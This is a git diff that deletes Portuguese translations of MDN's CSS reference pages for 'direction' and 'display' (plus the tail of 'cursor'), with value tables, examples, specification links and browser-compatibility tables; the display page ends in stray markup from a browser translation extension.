-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/cursor", "fr": "fr/CSS/cursor", "pl": "pl/CSS/cursor" } ) }}</p>
diff --git a/files/pt-pt/web/css/direction/index.html b/files/pt-pt/web/css/direction/index.html
deleted file mode 100644
index a89e7a1b6c..0000000000
--- a/files/pt-pt/web/css/direction/index.html
+++ /dev/null
@@ -1,46 +0,0 @@
----
-title: direction
-slug: Web/CSS/direction
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/direction
----
-<p>
-{{ CSSRef() }}
-</p>
-<h3 id="Resumo" name="Resumo"> Resumo </h3>
-<p>The <code>direction</code> property should be set to match the direction of the text: <code>rtl</code> for Hebrew or Arabic text and <code>ltr</code> for other scripts. This should normally be done as part of the document (e.g., using the <code>dir</code> attribute in HTML) rather than through direct use of CSS.
-</p><p>The property sets the base text direction of block-level elements and the direction of embeddings created by the {{ Cssxref("unicode-bidi") }} property. It also sets the default alignment of text and block-level elements and the direction that cells flow within a table row.
-</p>
-<ul><li> Valor inicial: <code>ltr</code>
-</li><li> Aplica-se a: todos os elementos
-</li><li> Herdado: sim
-</li><li> Porcentagens: N/A
-</li><li> Mídia: <a href="pt/CSS/Media/Visual">visual</a>
-</li></ul>
-<h3 id="Sintaxe" name="Sintaxe"> Sintaxe </h3>
-<pre class="eval">direction: [ 'ltr' | 'rtl' | inherit ] ;
-</pre>
-<h3 id="Valores" name="Valores"> Valores </h3>
-<dl><dt> ltr </dt><dd> The default value of <code>direction</code>. Text and other elements go from left to right
-</dd><dt> rtl </dt><dd> Text and other elements go from right to left
-</dd></dl>
-<p>For the <code>direction</code> property to have any effect on inline-level elements, the {{ Cssxref("unicode-bidi") }} property's value must be 'embed' or 'override'.
-</p>
-<h3 id="Exemplos" name="Exemplos"> Exemplos </h3>
-<pre class="eval">blockquote {
- direction : rtl ;
-}
-</pre>
-<h3 id="Notas" name="Notas"> Notas </h3>
-<p>Unlike the <code>dir</code> attribute in HTML, the <code>direction</code> property is not inherited from table columns into table cells, since CSS inheritance follows the document tree, and table cells are inside of the rows but not inside of the columns.
-</p>
-<h3 id="Especifica.C3.A7.C3.A3o" name="Especifica.C3.A7.C3.A3o"> Especificação </h3>
-<ul><li> <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#direction">CSS 2.1</a>
-</li><li> <a class="external" href="http://www.w3.org/TR/2003/CR-css3-text-20030514/#direction">CSS 3 Text Module</a>
-</li></ul>
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m"> Veja também </h3>
-<p>{{ Cssxref("unicode-bidi") }}
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/CSS/direction", "fr": "fr/CSS/direction", "pl": "pl/CSS/direction" } ) }}
diff --git a/files/pt-pt/web/css/display/index.html b/files/pt-pt/web/css/display/index.html
deleted file mode 100644
index 5a3e498cf3..0000000000
--- a/files/pt-pt/web/css/display/index.html
+++ /dev/null
@@ -1,707 +0,0 @@
----
-title: display
-slug: Web/CSS/display
-tags:
- - CSS
- - CSS Display
- - Propriedade de CSS
-translation_of: Web/CSS/display
----
-<div>{{CSSRef}}</div>
-
-<p>Esta propriedade <strong><code>display</code></strong> de CSS especifica o tipo de caixa de renderização utilizado para um elemento. Em HTML, os valores da propriedade <code>display</code> predefinidos têm o seu comportamento descrito nas especificações de HTML ou de uma folha de estilo predefinida do navegador ou do utilizador. O valor predefinido no XML é  <code>inline</code>, incluindo os elementos de <a href="/pt-PT/docs/Web/SVG">SVG</a> .</p>
-
-<p>Em adição aos diferentes tipos de caixa de exibição, o valor <code>none</code> deixa-o desativar a exibição de um elemento; quando utiliza <code>none</code>, todos os elementos descendentes também têm as suas exibições desativadas. O documento é renderizado como se o elemento não existisse na árvore do documento.</p>
-
-<pre class="brush:css no-line-numbers">/* &lt;display-outside&gt; values */
-display: block;
-display: inline;
-display: run-in;
-
-/* &lt;display-inside&gt; values */
-display: flow;
-display: flow-root;
-display: table;
-display: flex;
-display: grid;
-display: ruby;
-display: subgrid;
-
-/* &lt;display-outside&gt; plus &lt;display-inside&gt; values */
-display: block flow;
-display: inline table;
-display: flex run-in;
-
-/* &lt;display-listitem&gt; values */
-display: list-item;
-display: list-item block;
-display: list-item inline;
-display: list-item flow;
-display: list-item flow-root;
-display: list-item block flow;
-display: list-item block flow-root;
-display: flow list-item block;
-
-/* &lt;display-internal&gt; values */
-display: table-row-group;
-display: table-header-group;
-display: table-footer-group;
-display: table-row;
-display: table-cell;
-display: table-column-group;
-display: table-column;
-display: table-caption;
-display: ruby-base;
-display: ruby-text;
-display: ruby-base-container;
-display: ruby-text-container;
-
-/* &lt;display-box&gt; values */
-display: contents;
-display: none;
-
-/* &lt;display-legacy&gt; values */
-display: inline-block;
-display: inline-table;
-display: inline-flex;
-display: inline-grid;
-
-/* Global values */
-display: inherit;
-display: initial;
-display: unset;
-</pre>
-
-<p>{{cssinfo}}</p>
-
-<h2 id="Sintaxe" name="Sintaxe">Sintaxe</h2>
-
-<p>A propriedade <code>display</code> é especificada utilizando os valores chave. Os valores chave são agrupados em seis categorias:</p>
-
-<ul>
- <li><code><a href="#display-outside">&lt;display-outside&gt;</a></code></li>
- <li><code><a href="#display-inside">&lt;display-inside&gt;</a></code></li>
- <li><code><a href="#display-listitem">&lt;display-listitem&gt;</a></code></li>
- <li><code><a href="#display-internal">&lt;display-internal&gt;</a></code></li>
- <li><code><a href="#display-box">&lt;display-box&gt;</a></code></li>
- <li><code><a href="#display-legacy">&lt;display-legacy&gt;</a></code></li>
-</ul>
-
-<p>Currently it's best to specify <code>display</code> using a single keyword; although the latest specifications allow you to combine some keywords, this is not yet well supported by browsers.</p>
-
-<h3 id="Valores">Valores</h3>
-
-<dl>
- <dt><a id="display-outside" name="display-outside"><code>&lt;display-outside&gt;</code></a></dt>
- <dd>These keywords specify the element’s outer display type, which is essentially its role in flow layout. They are defined as follows:
- <table class="standard-table">
- <thead>
- <tr>
- <td class="header">Valor</td>
- <td class="header">Descrição</td>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>block</code></td>
- <td>The element generates a block element box.</td>
- </tr>
- <tr>
- <td><code>inline</code></td>
- <td>The element generates one or more inline element boxes.</td>
- </tr>
- <tr>
- <td><code>run-in</code> {{experimental_inline}}</td>
- <td>The element generates a run-in box. Run-in elements act like inlines or blocks, depending on the surrounding elements. That is:
- <ul>
- <li>If the run-in box contains a block box, same as block.</li>
- <li>If a block box follows the run-in box, the run-in box becomes the first inline box of the block box.</li>
- <li>If an inline box follows, the run-in box becomes a block box.</li>
- </ul>
- </td>
- </tr>
- </tbody>
- </table>
- </dd>
- <dt><a id="display-inside" name="display-inside"><code>&lt;display-inside&gt;</code></a></dt>
- <dd>These keywords specify the element’s inner display type, which defines the type of formatting context that lays out its contents (assuming it is a non-replaced element). They are defined as follows:
- <table class="standard-table">
- <thead>
- <tr>
- <td class="header">Value</td>
- <td class="header">Description</td>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>flow</code> {{experimental_inline}}</td>
- <td>The element lays out its contents using flow layout (block-and-inline layout).
- <p>If its outer display type is inline or run-in, and it is participating in a block or inline formatting context, then it generates an inline box. Otherwise it generates a block container box.</p>
-
- <p>Depending on the value of other properties (such as {{cssxref("position")}}, {{cssxref("float")}}, or {{cssxref("overflow")}}) and whether it is itself participating in a block or inline formatting context, it either establishes a new <a href="/en-US/docs/Web/Guide/CSS/Block_formatting_context">block formatting context</a> for its contents or integrates its contents into its parent formatting context.</p>
- </td>
- </tr>
- <tr>
- <td><code>flow-root</code> {{experimental_inline}}</td>
- <td>The element generates a block element box that establishes a new <a href="/en-US/docs/Web/Guide/CSS/Block_formatting_context">block formatting context</a>.</td>
- </tr>
- <tr>
- <td><code>table</code></td>
- <td>These elements behave like {{HTMLElement("table")}} HTML elements. It defines a block-level box.</td>
- </tr>
- <tr>
- <td><code>flex</code></td>
- <td>The element behaves like a block element and lays out its content according to the <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">flexbox model</a>.</td>
- </tr>
- <tr>
- <td><code>grid</code></td>
- <td>The element behaves like a block element and lays out its content according to the grid model.</td>
- </tr>
- <tr>
- <td><code>subgrid</code> {{experimental_inline}}</td>
- <td>If the parent element has <code>display:grid</code>, the element itself and its content are laid out according to the grid model.</td>
- </tr>
- <tr>
- <td><code>ruby</code> {{experimental_inline}}</td>
- <td>The element behaves like an inline element and lays out its content according to the ruby formatting model. It behaves like the corresponding {{HTMLElement("ruby")}} HTML elements.</td>
- </tr>
- </tbody>
- </table>
- </dd>
- <dt><a id="display-listitem" name="display-listitem"><code>&lt;display-listitem&gt;</code></a></dt>
- <dd>
- <p>The element generates a block box for the content and a separate list-item inline box.</p>
-
- <p>If no <code>&lt;display-inside&gt;</code> value is specified, the principal box’s inner display type defaults to <code>flow</code>. If no <code>&lt;display-outside&gt;</code> value is specified, the principal box’s outer display type defaults to <code>block</code>.</p>
- </dd>
- <dt><a id="display-internal" name="display-internal"><code>&lt;display-internal&gt;</code></a></dt>
- <dd>
- <p>Some layout models, such as <span class="css">table</span> and ruby, have a complex internal structure, with several different roles that their children and descendants can fill. This section defines those "internal" display values, which only have meaning within that particular layout mode.</p>
-
- <p>Unless otherwise specified, both the inner display type and the outer display type of elements using these display values are set to the given keyword.</p>
-
- <table class="standard-table">
- <thead>
- <tr>
- <td class="header">Valor</td>
- <td class="header">Descrição</td>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>table-row-group</code></td>
- <td>These elements behave like {{HTMLElement("tbody")}} HTML elements</td>
- </tr>
- <tr>
- <td><code>table-header-group</code></td>
- <td>These elements behave like {{HTMLElement("thead")}} HTML elements.</td>
- </tr>
- <tr>
- <td><code>table-footer-group</code></td>
- <td>These elements behave like {{HTMLElement("tfoot")}} HTML elements.</td>
- </tr>
- <tr>
- <td><code>table-row</code></td>
- <td>These elements behave like {{HTMLElement("tr")}} HTML elements.</td>
- </tr>
- <tr>
- <td><code>table-cell</code></td>
- <td>These elements behave like {{HTMLElement("td")}} HTML elements.</td>
- </tr>
- <tr>
- <td><code>table-column-group</code></td>
- <td>These elements behave like {{HTMLElement("colgroup")}} HTML elements.</td>
- </tr>
- <tr>
- <td><code>table-column</code></td>
- <td>These elements behave like {{HTMLElement("col")}} HTML elements.</td>
- </tr>
- <tr>
- <td><code>table-caption</code></td>
- <td>These elements behave like {{HTMLElement("caption")}} HTML elements.</td>
- </tr>
- <tr>
- <td><code>ruby-base</code> {{experimental_inline}}</td>
- <td>These elements behave like {{HTMLElement("rb")}} elements.</td>
- </tr>
- <tr>
- <td><code>ruby-text</code> {{experimental_inline}}</td>
- <td>These elements behave like {{HTMLElement("rt")}} elements.</td>
- </tr>
- <tr>
- <td><code>ruby-base-container</code> {{experimental_inline}}</td>
- <td>These elements behave like {{HTMLElement("rbc")}} elements generated as anonymous boxes.</td>
- </tr>
- <tr>
- <td><code>ruby-text-container</code> {{experimental_inline}}</td>
- <td>These elements behave like {{HTMLElement("rtc")}} elements.</td>
- </tr>
- </tbody>
- </table>
- </dd>
- <dt><a id="display-box" name="display-box"><code>&lt;display-box&gt;</code></a></dt>
- <dd>These values define whether an element generates display boxes at all.
- <table class="standard-table">
- <thead>
- <tr>
- <td class="header">Valor</td>
- <td class="header">Descrição</td>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>contents</code> {{experimental_inline}}</td>
- <td>These elements don't produce a specific box by themselves. They are replaced by their pseudo-box and their child boxes.</td>
- </tr>
- <tr>
- <td><code>none</code></td>
- <td>
- <p>Turns off the display of an element so that it has no effect on layout (the document is rendered as though the element did not exist). All descendant elements also have their display turned off.</p>
-
- <p>To have an element take up the space that it would normally take, but without actually rendering anything, use the {{cssxref("visibility")}} property instead.</p>
- </td>
- </tr>
- </tbody>
- </table>
- </dd>
- <dt><a id="display-legacy" name="display-legacy"><code>&lt;display-legacy&gt;</code></a></dt>
- <dd>CSS 2 used a single-keyword syntax for the <code>display</code> property, requiring separate keywords for block-level and inline-level variants of the same layout mode. They are defined as follows:
- <table class="standard-table">
- <thead>
- <tr>
- <td class="header">Valor</td>
- <td class="header">Descrição</td>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>inline-block</code></td>
- <td>
- <p>The element generates a block element box that will be flowed with surrounding content as if it were a single inline box (behaving much like a replaced element would)</p>
-
- <p>It is equivalent to <code>inline flow-root</code>.</p>
- </td>
- </tr>
- <tr>
- <td><code>inline-table</code></td>
- <td>
- <p>The <code>inline-table</code> value does not have a direct mapping in HTML. It behaves like a {{HTMLElement("table")}} HTML element, but as an inline box, rather than a block-level box. Inside the table box is a block-level context.</p>
-
- <p>It is equivalent to <code>inline table</code>.</p>
- </td>
- </tr>
- <tr>
- <td><code>inline-flex</code></td>
- <td>
- <p>The element behaves like an inline element and lays out its content according to the flexbox model.</p>
-
- <p>It is equivalent to <code>inline flex</code>.</p>
- </td>
- </tr>
- <tr>
- <td><code>inline-grid</code></td>
- <td>The element behaves like an inline element and lays out its content according to the grid model.</td>
- </tr>
- </tbody>
- </table>
- </dd>
-</dl>
-
-<h3 id="Sintaxe_formal">Sintaxe formal</h3>
-
-{{csssyntax}}
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Hide_element" name="Hide_element">Elementos <em>Hide</em></h3>
-
-<h4 id="Conteúdo_de_HTML">Conteúdo de HTML</h4>
-
-<pre class="brush: html">&lt;p&gt;Visible text&lt;/p&gt;
-&lt;p class="secret"&gt;Invisible text&lt;/p&gt;</pre>
-
-<h4 id="Conteúdo_de_CSS">Conteúdo de CSS</h4>
-
-<pre class="brush: css">p.secret {
- display: none;
-}</pre>
-
-<h3 id="Resultado">Resultado</h3>
-
-<p>{{EmbedLiveSample("Hide_element", 300, 60)}}</p>
-
-<p><a href="/samples/cssref/display.html">View Live Examples</a></p>
-
-<h2 id="Specifications" name="Specifications">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('CSS3 Display', '#the-display-properties', 'display')}}</td>
- <td>{{Spec2('CSS3 Display')}}</td>
- <td>Added <code>run-in</code>, <code>flow</code>, <code>flow-root</code>, <code>contents</code>, and multi-keyword values.</td>
- </tr>
- <tr>
- <td>{{SpecName('CSS3 Ruby', '#ruby-display', 'display')}}</td>
- <td>{{Spec2('CSS3 Ruby')}}</td>
- <td>Added <code>ruby</code>, <code>ruby-base</code>, <code>ruby-text</code>, <code>ruby-base-container</code>, and <code>ruby-text-container</code>.</td>
- </tr>
- <tr>
- <td>{{SpecName('CSS3 Grid', '#grid-containers', 'display')}}</td>
- <td>{{Spec2('CSS3 Grid')}}</td>
- <td>Added the grid box model values.</td>
- </tr>
- <tr>
- <td>{{SpecName('CSS3 Flexbox', '#flex-containers', 'display')}}</td>
- <td>{{Spec2('CSS3 Flexbox')}}</td>
- <td>Added the flexible box model values.</td>
- </tr>
- <tr>
- <td>{{SpecName('CSS2.1', 'visuren.html#display-prop', 'display')}}</td>
- <td>{{Spec2('CSS2.1')}}</td>
- <td>Added the table model values and <code>inline-block<em>.</em></code></td>
- </tr>
- <tr>
- <td>{{SpecName('CSS1', '#display', 'display')}}</td>
- <td>{{Spec2('CSS1')}}</td>
- <td>Initial definition. Basic values: <code>none</code>, <code>block</code>, <code>inline</code>, and <code>list-item</code>.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Edge</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari (WebKit)</th>
- </tr>
- <tr>
- <td><code>none</code>, <code>inline</code> and <code>block</code></td>
- <td>1.0</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("1.0")}}</td>
- <td>4.0</td>
- <td>7.0</td>
- <td>1.0 (85)</td>
- </tr>
- <tr>
- <td><code>inline-block</code></td>
- <td>1.0</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("1.9")}}</td>
- <td>5.5<sup>[4]</sup></td>
- <td>7.0</td>
- <td>1.0 (85)</td>
- </tr>
- <tr>
- <td><code>list-item</code></td>
- <td>1.0</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("1.0")}}</td>
- <td>6.0</td>
- <td>7.0</td>
- <td>1.0 (85)</td>
- </tr>
- <tr>
- <td rowspan="2"><code>run-in</code> {{experimental_inline}}</td>
- <td>1.0 [5]</td>
- <td rowspan="2">{{CompatNo}}</td>
- <td rowspan="2">{{CompatNo}}</td>
- <td rowspan="2">8.0</td>
- <td>7.0</td>
- <td>1.0 (85)<sup>[5]</sup></td>
- </tr>
- <tr>
- <td>4.0 Removed in 32</td>
- <td>Not Blink versions (15 upwards)</td>
- <td>5.0 (532.5) Removed in 8.0</td>
- </tr>
- <tr>
- <td><code>inline-table</code></td>
- <td>1.0</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("1.9")}}</td>
- <td>8.0</td>
- <td>7.0</td>
- <td>1.0 (85)</td>
- </tr>
- <tr>
- <td><code>table</code>, <code>table-cell</code>, <code>table-column</code>, <code>table-column-group</code>, <code>table-header-group</code>, <code>table-row-group</code>, <code>table-footer-group</code>, <code>table-row</code>, and <code>table-caption</code></td>
- <td>1.0</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("1.0")}}</td>
- <td>8.0</td>
- <td>
- <p>7.0</p>
- </td>
- <td>1.0 (85)</td>
- </tr>
- <tr>
- <td><code>flex</code></td>
- <td>
- <p>21.0{{property_prefix("-webkit")}}</p>
-
- <p>29.0</p>
- </td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("18.0")}}<sup>[1]</sup><br>
- {{CompatGeckoDesktop("20.0")}}</td>
- <td>
- <p>10{{property_prefix("-ms")}}<sup><font size="2">[8]</font></sup><br>
- 11</p>
- </td>
- <td>12.50</td>
- <td>
- <p>6.1{{property_prefix("-webkit")}}</p>
-
- <p>9.0</p>
- </td>
- </tr>
- <tr>
- <td><code>inline-flex</code></td>
- <td>21.0{{property_prefix("-webkit")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("18.0")}}<sup>[1]</sup><br>
- {{CompatGeckoDesktop("20.0")}}</td>
- <td>10{{property_prefix("-ms")}}<sup><font size="2">[8]</font></sup><br>
- 11</td>
- <td>12.50</td>
- <td>6.1{{property_prefix("-webkit")}}</td>
- </tr>
- <tr>
- <td><code>grid</code> {{experimental_inline}}</td>
- <td>{{CompatChrome(57)}}</td>
- <td>{{CompatVersionUnknown}}{{property_prefix("-ms")}}</td>
- <td>{{CompatGeckoDesktop("45.0")}}<sup>[6]</sup></td>
- <td>10.0{{property_prefix("-ms")}}</td>
- <td>{{CompatOpera(44)}}</td>
- <td>TP</td>
- </tr>
- <tr>
- <td><code>inline-grid</code> {{experimental_inline}}</td>
- <td>{{CompatChrome(57)}}</td>
- <td>{{CompatVersionUnknown}}{{property_prefix("-ms")}}</td>
- <td>{{CompatGeckoDesktop("45.0")}}<sup>[6]</sup></td>
- <td>10.0{{property_prefix("-ms")}}</td>
- <td>{{CompatOpera(44)}}</td>
- <td>TP</td>
- </tr>
- <tr>
- <td><code>subgrid</code> {{experimental_inline}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>ruby</code>, <code>ruby-base</code>, <code>ruby-text</code>, <code>ruby-base-container</code>, <code>ruby-text-container</code> {{experimental_inline}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("34.0")}}<sup>[3]</sup></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>contents</code> {{experimental_inline}}</td>
- <td>{{CompatChrome(58)}}<sup>[7]</sup></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatGeckoDesktop("37")}}<sup>[2]</sup></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td><code>flow-root</code></td>
- <td>{{CompatChrome(58)}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("53.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatOpera(45)}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android Webview</th>
- <th>Chrome for Android</th>
- <th>Edge</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Phone</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>7.0{{property_prefix("-webkit")}}</td>
- </tr>
- <tr>
- <td><code>grid</code> {{experimental_inline}}</td>
- <td>{{CompatChrome(57)}}</td>
- <td>{{CompatChrome(57)}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatOperaMobile(44)}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>inline-grid</code> {{experimental_inline}}</td>
- <td>{{CompatChrome(57)}}</td>
- <td>{{CompatChrome(57)}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatOperaMobile(44)}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>flow-root</code></td>
- <td>{{CompatChrome(58)}}</td>
- <td>{{CompatChrome(58)}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatOperaMobile(45)}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<p>[1] To activate flexbox support, for Firefox 18 and 19, the user has to change the about:config preference "layout.css.flexbox.enabled" to <code>true</code>. Multi-line flexbox are supported since Firefox 28.</p>
-
-<p>[2] Before Firefox 37, the <code>contents</code> value was disabled by default, and could be enabled by setting the <code>layout.css.display-contents.enabled</code> pref to <code>true</code>. In Firefox 37, it was enabled by default, and in Firefox 53 the pref was removed altogether.</p>
-
-<p>[3] CSS Ruby support is behind pref "layout.css.ruby.enabled". The user has to change this pref to true to activate this.</p>
-
-<p>[4] In IE &lt; 8, natural inline elements only.</p>
-
-<p>[5] Not before inline-elements.</p>
-
-<p>[6] CSS Grid support is unprefixed in Nightly/Alpha builds and behind pref "layout.css.grid.enabled" in Beta/release builds.</p>
-
-<p>[7] In Chrome, the <code>contents</code> value is currently disabled by default, but can be enabled with the "Experimental Web Platform features" flag.</p>
-
-<p>[8] In IE 10, only special prefixed values, <code>-ms-flexbox</code> and <code>-ms-inline-flexbox</code>, are recognized.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li>{{Cssxref("visibility")}}, {{Cssxref("float")}}, {{Cssxref("position")}}</li>
- <li>{{Cssxref("flex")}}</li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; display: block; opacity: 0; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option 